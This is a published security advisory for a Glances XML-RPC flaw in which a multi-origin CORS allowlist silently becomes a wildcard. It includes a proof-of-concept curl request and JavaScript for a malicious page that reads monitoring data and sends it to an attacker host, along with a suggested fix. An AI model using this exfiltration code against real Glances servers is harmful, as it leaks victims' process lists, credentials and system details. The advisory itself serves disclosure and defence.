CVE-2026-46608: Glances: XML-RPC Multi-Origin CORS Configuration Silently Falls Back to Wildcard (Incomplete Fix for CVE-2026-33533)
Summary The Glances XML-RPC server (glances -s) introduced a configurable CORS origin list in version 4.5.3 as a mitigation for CVE 2026-33533. However, the implementation silently falls back to Access-Control-Allow-Origin: whenever corsorigins contains more than one entry. An operator who configures an explicit two-entry allowlist (e.g.
Published Jun 22, 2026 · Updated Jul 21, 2026
Affected packages
glances
- Ecosystem
- PyPI
- Affected
- < 4.5.5
- Fixed in
- 4.5.5
- Check
pip show glances
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
The Glances XML-RPC server (glances -s) introduced a configurable CORS origin list in version 4.5.3 as a mitigation for CVE 2026-33533. However, the implementation silently falls back to Access-Control-Allow-Origin: * whenever cors_origins contains more than one entry. An operator who configures an explicit two-entry allowlist (e.g. two internal dashboard origins) intending to restrict browser access instead receives the unrestricted wildcard — the same exposure that the original CVE described. A malicious web page served from any origin can issue a CORS simple request to /RPC2 and read the full system monitoring dataset without the victim's knowledge.
---
Details
Affected file: glances/server.py, class GlancesXMLRPCServer, line 113
Direct URL (commit 04579778e733d705898a169e049dc84772c852da):
- https://github.com/nicolargo/glances/blob/04579778e733d705898a169e049dc84772c852da/glances/server.py#L113
# server.py (GlancesXMLRPCServer.__init__)
cors_origins = self.args.cors_origins # list from config / CLI
# Line 113 — the incomplete fix:
self.cors_origin = cors_origins[0] if len(cors_origins) == 1 else '*'
# ^^^
# Any allowlist with 2+ entries collapses to the wildcardThe cors_origin value is then echoed back as the Access-Control-Allow-Origin response header for every request (line ~147 in the same file):
self.send_header('Access-Control-Allow-Origin', self.cors_origin)This means the CORS header is determined once at server startup and never compared against the actual Origin header sent by the browser. Even if an operator sets:
# glances.conf
[outputs]
cors_origins = https://dashboard.corp.example.com,https://grafana.corp.example.comthe server responds with Access-Control-Allow-Origin: * to every request, including those from https://attacker.example.com.
Single-origin wildcard (the default, cors_origins = *) is also still in effect; the fix only helps if exactly one non-wildcard origin is configured.
Confirmed on: x86_64 Linux, Python 3.13, Glances 4.5.5_dev1 (commit 04579778e733d705898a169e049dc84772c852da).
Test results:
| Origin sent | ACAO header returned | Expected | | `http://evil.example.com`| `*` | No header | | `https://dashboard.corp` | `*` | Reflected | | `https://grafana.corp` | `*` | Reflected |
---
PoC
Special configuration required
The multi-origin collapse is only triggered when cors_origins contains two or more entries. Create the following glances.conf:
# /tmp/glances_multiorigin.conf
[global]
check_update = false
[outputs]
cors_origins = https://dashboard.corp.example.com,https://grafana.corp.example.comStep 1 — Start the XML-RPC server using the config above
glances -s -p 61209 -C /tmp/glances_multiorigin.confStep 2 — Send a CORS simple request from a foreign origin
curl -s -D - -X POST "http://TARGET_HOST:61209/RPC2" \
-H "Content-Type: text/plain" \
-H "Origin: http://evil.example.com" \
-d '<?xml version="1.0"?>
<methodCall><methodName>getAllPlugins</methodName></methodCall>'Expected (secure) response:
HTTP/1.0 400 Bad Requestor no Access-Control-Allow-Origin header.
Actual response:
HTTP/1.0 200 OK
Access-Control-Allow-Origin: *
...
<?xml version='1.0'?>
<methodResponse>
<params><param><value><array><data>
<value><string>cpu</string></value>
<value><string>mem</string></value>
...
</data></array></value></param></params>
</methodResponse>Step 3 — Demonstrate the code-level collapse to wildcard
import sys
sys.path.insert(0, '/path/to/glances') # adjust to local clone
from glances.config import Config
c = Config('/tmp/glances_multiorigin.conf')
cors_list = c.get_list_value('outputs', 'cors_origins', default=['*'])
# Reproduces server.py line 113:
result = cors_list[0] if len(cors_list) == 1 else '*'
print('cors_origins config :', cors_list)
print('cors_origin applied :', result)
print('Is wildcard? :', result == '*')
# cors_origins config : ['https://dashboard.corp.example.com', 'https://grafana.corp.example.com']
# cors_origin applied : *
# Is wildcard? : TrueBrowser-based exploitation
Once the wildcard is confirmed, the original CVE-2026-33533 attack vector still applies in full. A malicious page served to a victim whose browser can reach the Glances server can exfiltrate data as follows:
// Runs in a page on http://evil.example.com
const payload = `<?xml version="1.0"?>
<methodCall><methodName>getAll</methodName></methodCall>`;
fetch('http://GLANCES_HOST:61209/RPC2', {
method: 'POST',
headers: { 'Content-Type': 'text/plain' },
body: payload,
})
.then(r => r.text())
.then(data => {
// 'data' contains hostname, OS, full process list, network interfaces, etc.
fetch('https://attacker.example.com/collect?d=' + btoa(data));
});This works as a CORS "simple request" (POST + text/plain) — no CORS preflight is triggered and the * wildcard allows the browser to read the response.
---
Impact
Vulnerability type: CORS Misconfiguration / Bypass of CVE-2026-33533 mitigation (CWE-942)
Who is impacted: Any operator who:
- Runs Glances in XML-RPC server mode (
glances -s), *and* - Has configured two or more
cors_originsentries inglances.confbelieving they are restricting browser access.
Operators using the default single-wildcard configuration (cors_origins = *, which is the upstream default) remain affected by the original CVE-2026-33533 exposure (unrestricted cross-origin read). The incomplete fix addresses only the narrow case of a single non-wildcard origin.
Data exposed through the XML-RPC API includes: hostname, OS and kernel version, full process list with command-line arguments (frequently containing API keys, passwords, and tokens), CPU/memory/disk/network statistics, listening ports, and Docker/Kubernetes container metadata.
Impact:
- Confidentiality: High — complete system monitoring data readable by any browser page.
- Integrity: None — read-only API.
- Availability: None — no denial-of-service component.
---
Suggested Fix
Implement per-request origin reflection against the configured allowlist, as recommended by the W3C CORS specification and as done by modern CORS middleware (e.g. Starlette's CORSMiddleware):
# server.py — replace the single static self.cors_origin field with:
def _get_acao_header(self, request_origin: str) -> str | None:
"""Return the correct Access-Control-Allow-Origin value or None."""
if not self.cors_origins or '*' in self.cors_origins:
return '*'
if request_origin in self.cors_origins:
return request_origin
return None # do not send the header for unlisted origins
# In do_POST / send_response:
origin = self.headers.get('Origin', '')
acao = self._get_acao_header(origin)
if acao:
self.send_header('Access-Control-Allow-Origin', acao)
self.send_header('Vary', 'Origin')Additionally, consider retiring the legacy XML-RPC server in favour of the REST API (glances -w), which uses Starlette's CORSMiddleware correctly, and document the deprecation path.
---
Responsible Disclosure
The AFINE Team is committed to responsible / coordinated disclosure. The AFINE Team will not publish details of this vulnerability or release exploit code publicly until a fix has been released, or 90 days have elapsed from the date of this report, whichever comes first.
---
Credits
This issue was identified by Michał Majchrowicz and Marcin Wyczechowski, members of the AFINE Team.
---
Credited to sectroyer.
References
- https://github.com/nicolargo/glances/security/advisories/GHSA-87qc-fj39-wccr
- https://github.com/nicolargo/glances/releases/tag/v4.5.5
- https://nvd.nist.gov/vuln/detail/CVE-2026-46608
- https://github.com/advisories/GHSA-87qc-fj39-wccr
- https://github.com/nicolargo/glances
- https://github.com/pypa/advisory-database/tree/main/vulns/glances/PYSEC-2026-2495.yaml
- https://pypi.org/project/glances
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
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